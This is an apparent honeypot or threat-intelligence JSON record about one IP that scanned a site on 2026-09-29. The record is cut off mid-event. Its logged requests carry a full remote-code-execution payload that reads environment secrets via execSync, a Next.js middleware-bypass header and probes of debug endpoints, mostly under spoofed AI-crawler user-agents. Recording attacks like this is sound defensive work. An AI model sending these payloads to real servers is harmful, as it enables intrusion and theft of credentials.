{"ip":"35.187.246.147","total_events":773,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"71 exploit-path hits","confidence":"high","network_type":null,"why":["71 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 6,967,792 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"6,967,792 bytes sent","bytes_sent":6967792,"session_seconds":21,"persistent":false}},"first_seen":"2026-09-29T04:34:20","last_seen":"2026-09-29T04:35:18","events_24h":773,"events_7d":773,"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"Singapore","lat":1.2872,"lon":103.8507,"asn":396982,"org":"Google LLC"},"source_domain":"147.246.187.35.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2026-50160","title":"Hoppscotch <= 2026.4.1 - Mass Assignment JWT_SECRET Overwrite","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/v1/onboarding/config"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2019-11248","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2026-56681","title":"9router <=0.5.4 - Authentication Bypass","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/models"},{"cve_id":"CVE-2026-89013","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php"},{"cve_id":"CVE-2024-37152","title":"Argo CD Unauthenticated Access to sensitive setting","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/settings"},{"cve_id":"CVE-2026-30928","title":"Glances - Information Disclosure","severity":"HIGH","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/4/config"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":269},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":268},{"port":8443,"proto":"tcp","label":"HTTPS-alt","count":236}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106bb010006b703034cb0d5eeccff7ae28f0e9cf147c788d7e201587ffb5a329d3c4f4030eb6beeb0207bff001af65fb12070be747bc8b1a08541b8a53ada772e5c803bd777c5e2c34300208a8a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100064eeaea0000000b000201000010000e000c02683208687474702f312e31000d001200100403080404010503080505010806060144cd0005000302683200000017001500001273697465732e7072696e636875622e636f6d003304ef04eddada00010011ec04c001d6906ebcbc81d2cb1895775e678d312c0f98c81425ba3f9f19026390b946b8a2d4c4695d6787ba46aca269b899012f8ee71f2be136909380ccfb2d70b426c8cc3817faab667048316149a59c3e55e012cec5c7f5c974b1d5bcd7a01b5e27572edb60dcc24b8ad96cffd908a3c9bdf5e8b0c37628b05256817b11a3a79b0fc2477c8caf5835c809fcada9395d7e639a4a1b3b587a4688885ee452220a29bfc0230e733005969868fe1ba3ff08c564c7b6ad28be50cc1f1373a741daa5fe0921965800b75351673a8659b56cdef75b366792c167cd64b801025622a70c944336450363369b18347fa66b83909bd0f079d065071834acf36599c9a049d04ba3fae9b3586219d3d981be00cfcd866bcfdb5c2a72b378aba0eec6af48e13d4ee8885144676b297a4737ae58d38b9f0a48ca4897401623fa430901c47911a47c6f436c8f469a7e31bd9d7ab02a7ab7bab2874fd4bd39eaae17808f57751c0f2bb0be3699f38a21cfdc378eab3570db9a5414aa703422ca3b6156150104ab043cf33461b3cc21c28e39e335eb282ee42247d92aaf16d4b0e77355775411ead70e12611caf2c4948f050ec5932abe4a6fce47a4757768835297579bd890942df7c4f4386a5d93c83f0704121e28337f5c62ea26e4eda7894815dadd681c5c8ac44b53e3b52519034c35b8220178b9e19d82c7df965dae8bfbb4ac312e76905c57ad29210170856ce23a7aac397b3f4981de92c77ab8b0b449ac48a4d39964703200f4cd43a94e86580382f4d46847e04a91ae94f7d14a5e53322670b58ddf967973374fc517f38496164521786a793b98c2058865dc3a04107900a05f01b312953fee0c5481806d876af6f9b4a5a416aaa33c83b1c0c774cc1689862fca86b0248b56dd0b4a627bb61c90c51c56bfe152b8750a0cf4b573f246b3a099aaea8bcfc11a1167121ade7cfc90c163784936d5c7669a07792342c0501a8ada4bef57a111bb81db2036e04fac90c18419a791ef82b844481c8b71c77508579cff04ca1b01a787bb750ba91fb5362859c45de1688d5123e136b591f4716aa594bed952e0bfb161f3091c540902f30aadb22bad5b18ac1c19bf57690c444639145967c4c5319361b76d2014331ae13634a778c05cb2345ba83641bb320cc5629d0f3c456ca6071e9b4dfd3978d26533680c5a6e588299a6334a96493323f81f13124903d208acba15b7b382888612273432bcd9f8912bb2a321ce82dc4529778fb8367d37edfa17763b2107ecc5370f2b378b41e66619a78c350a04663ce39b46b0cb8e280a7248906e44bbe42171b7c88a477994faa5c315de6572ad57603121cdc125c3a0b2ba3c3c95449c341754ff249b0e0484d2e76935b4947d849603ce656576798c8732c3ac32375511d02693f8974bf17c9b13e1291ba430bab0689943818e949c45bd8650204701d25097c2a994ebc4f7dc42a272b4b9a8529afb09d3fc1cf10f986f6c013fe0c7c93599744e14974da1db48394cd50867ef46cca67a4ced95db545abe68933969728bbaaaa01d2c6e5d9324d34398d43861a13578516906ea897384b38e0cb6d1ab8b46708b5fce731635600627ba7be220cecf64bcbcb6ed67b680df3aa230f22b234387959a42a73f7f91784d86a60fafae667d6b294e4345b67df699cb0ce4ad395167aa79b5809decc80715c1c24cca1c64c6936e3b6416a61001d002042756c41808bdc64394072b8c2105471507bc01c437d0cdc2fb7b0a6d1461542000500050100000000000a000c000adada11ec001d0017001800230000002b000706dada03040303fe0d00ba0000010001cf0020fa32e191df635cec4881cb657382b62c48359f0b112027325ef5a7661c08873f0090ad7c9297b619e46d5a41eb8d86f08fd447bf0563c7d17577be6945e3e2a4f5786ff25137a4433dd38a7eb6fbc0b41f3260d79c1529fd73c179f0d10f1b7e6305060e7385587d8b04fad3865d6745069b9b65e5daa86127776f36fb72cc7970b4c84768bc2ce007f9b9ec395d7e4402962b149b6d299f71c9e4512063c64d04a7d90b5023900c4ac116c36eba1b407778002d00020101001b00030200020017000000120000ff01000100baba0001","tls_ja3":["c7392bf00da7972cd47530c6e3197fe7","b6efcffaf1af62aeb4726d32948580bc","0834c030450af9df272b938918e90f5c","33c4ad58b4c134655bb67806e6fad51e","2deeaf181849a857842d5b9ccaf7f48d"],"http_akin":["a11cuq150_045c6e5d_efd6a5d2","a11cun062_0000004d_84d4cebf","a11cuq082_0000064d_8184102b","a11cun163_001ce87d_62d94f65","a11cuq050_0000064c_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":9,"a11cuq150_045c6e5d_efd6a5d2":5,"a11cun062_0000004d_84d4cebf":5,"a11cuq082_0000064d_8184102b":5,"a11cun163_001ce87d_62d94f65":5,"a11cuq050_0000064c_107c8b82":26},"akin_families":{"a11cuq082_0000064d_8184102b":{"head":"a11cuq050_0000064c_107c8b82","shapes":3,"ips":26},"a11cuq050_0000064c_107c8b82":{"head":"a11cuq050_0000064c_107c8b82","shapes":3,"ips":26}},"user_agents":["Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)","Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36","Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-09-29","count":773}],"recent_events":[{"timestamp":"2026-09-29T04:35:18","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"text/x-component\",\"accept-encoding\":\"gzip\",\"content-length\":\"455\",\"content-type\":\"multipart/form-data; boundary=----r2s15jw2sfu99tng\",\"host\":\"sites.princhub.com:8443\",\"next-action\":\"r2s\",\"user-agent\":\"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\"}","body":"------r2s15jw2sfu99tng\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------r2s15jw2sfu99tng\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------r2s15jw2sfu99tng--\r\n","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/dashboard","summary":"","payload_hex":"504f5354202f64617368626f61726420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2047726f6b426f742f312e303b202b68747470733a2f2f782e61692f290d0a436f6e74656e742d4c656e6774683a203435350d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d72327331356a77327366753939746e670d0a4e6578742d416374696f6e3a207232730d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d72327331356a77327366753939746e670d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27293b222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d72327331356a77327366753939746e670d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d72327331356a77327366753939746e672d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","ja3":"4e5d800abb3c0904b39406d10476dd1c","session":"d987adc7-3925-4e2b-af68-b5c10a015061","seq":42,"duration_ms":12161,"bytes_in":19336,"bytes_out":3318},{"timestamp":"2026-09-29T04:35:18","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"text/x-component\",\"accept-encoding\":\"gzip\",\"content-length\":\"455\",\"content-type\":\"multipart/form-data; boundary=----r2s15jw2sfu99tng\",\"host\":\"sites.princhub.com:8443\",\"next-action\":\"r2s\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\"}","body":"------r2s15jw2sfu99tng\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------r2s15jw2sfu99tng\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------r2s15jw2sfu99tng--\r\n","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api","summary":"","payload_hex":"504f5354202f61706920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d536561726368426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a436f6e74656e742d4c656e6774683a203435350d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d72327331356a77327366753939746e670d0a4e6578742d416374696f6e3a207232730d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d72327331356a77327366753939746e670d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27293b222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d72327331356a77327366753939746e670d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d72327331356a77327366753939746e672d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","ja3":"4e5d800abb3c0904b39406d10476dd1c","session":"d987adc7-3925-4e2b-af68-b5c10a015061","seq":41,"duration_ms":11863,"bytes_in":18415,"bytes_out":3239},{"timestamp":"2026-09-29T04:35:18","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"text/x-component\",\"accept-encoding\":\"gzip\",\"content-length\":\"455\",\"content-type\":\"multipart/form-data; boundary=----r2s15jw2sfu99tng\",\"host\":\"sites.princhub.com:8443\",\"next-action\":\"r2s\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\"}","body":"------r2s15jw2sfu99tng\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------r2s15jw2sfu99tng\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------r2s15jw2sfu99tng--\r\n","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/login","summary":"","payload_hex":"504f5354202f6c6f67696e20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a436f6e74656e742d4c656e6774683a203435350d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d72327331356a77327366753939746e670d0a4e6578742d416374696f6e3a207232730d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d72327331356a77327366753939746e670d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27293b222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d72327331356a77327366753939746e670d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d72327331356a77327366753939746e672d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"4e5d800abb3c0904b39406d10476dd1c","session":"d987adc7-3925-4e2b-af68-b5c10a015061","seq":40,"duration_ms":11562,"bytes_in":17443,"bytes_out":3160},{"timestamp":"2026-09-29T04:35:18","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"text/x-component\",\"accept-encoding\":\"gzip\",\"content-length\":\"455\",\"content-type\":\"multipart/form-data; boundary=----r2s15jw2sfu99tng\",\"host\":\"sites.princhub.com:8443\",\"next-action\":\"r2s\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\"}","body":"------r2s15jw2sfu99tng\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------r2s15jw2sfu99tng\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------r2s15jw2sfu99tng--\r\n","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e30205361666172692f3630352e312e313520284170706c65626f742f302e31290d0a436f6e74656e742d4c656e6774683a203435350d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d72327331356a77327366753939746e670d0a4e6578742d416374696f6e3a207232730d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d72327331356a77327366753939746e670d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27293b222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d72327331356a77327366753939746e670d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d72327331356a77327366753939746e672d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)","ja3":"4e5d800abb3c0904b39406d10476dd1c","session":"d987adc7-3925-4e2b-af68-b5c10a015061","seq":39,"duration_ms":11284,"bytes_in":16521,"bytes_out":3081},{"timestamp":"2026-09-29T04:35:17","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com:8443\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/server-info","summary":"","payload_hex":"474554202f7365727665722d696e666f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"4e5d800abb3c0904b39406d10476dd1c","session":"d987adc7-3925-4e2b-af68-b5c10a015061","seq":38,"duration_ms":11009,"bytes_in":15530,"bytes_out":3002},{"timestamp":"2026-09-29T04:35:17","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com:8443\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/_profiler/open","summary":"","payload_hex":"474554202f5f70726f66696c65722f6f70656e20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"c4ae4acaa7aa5e711ba70e6d9bee8696","session":"065717d3-761c-433b-9d4a-7f91896c2ead","seq":36,"duration_ms":10147,"bytes_in":14465,"bytes_out":2844},{"timestamp":"2026-09-29T04:35:17","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com:8443\",\"user-agent\":\"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/_debugbar/open","summary":"","payload_hex":"474554202f5f64656275676261722f6f70656e20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2047726f6b426f742f312e303b202b68747470733a2f2f782e61692f290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","ja3":"80bc93b58a56c259614cd0ab969eb84f","session":"16ff5801-49a5-43a3-9f2d-62d1c31ce65c","seq":38,"duration_ms":10797,"bytes_in":15585,"bytes_out":3002},{"timestamp":"2026-09-29T04:35:17","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com:8443\",\"user-agent\":\"DuckAssistBot/1.1 